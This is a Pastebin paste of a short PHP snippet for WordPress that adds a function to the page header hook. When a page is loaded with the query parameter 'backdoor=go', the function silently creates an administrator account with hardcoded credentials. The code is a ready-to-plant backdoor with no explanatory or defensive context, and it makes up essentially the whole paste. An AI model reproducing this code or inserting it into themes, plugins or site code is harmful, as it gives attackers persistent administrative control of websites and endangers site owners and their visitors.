Advertisement
Guest User

Untitled

a guest
Jul 9th, 2012
4,902
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.33 KB | None | 0 0
  1. <?php
  2. add_action('wp_head', 'holeinthewall');
  3.  
  4. function holeinthewall() {
  5.     If ($_GET['backdoor'] == 'go') {
  6.         require('wp-includes/registration.php');
  7.         If (!username_exists('username')) {
  8.             $user_id = wp_create_user('username', 'password');
  9.             $user = new WP_User($user_id);
  10.             $user->set_role('administrator');
  11.         }
  12.     }
  13. }
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement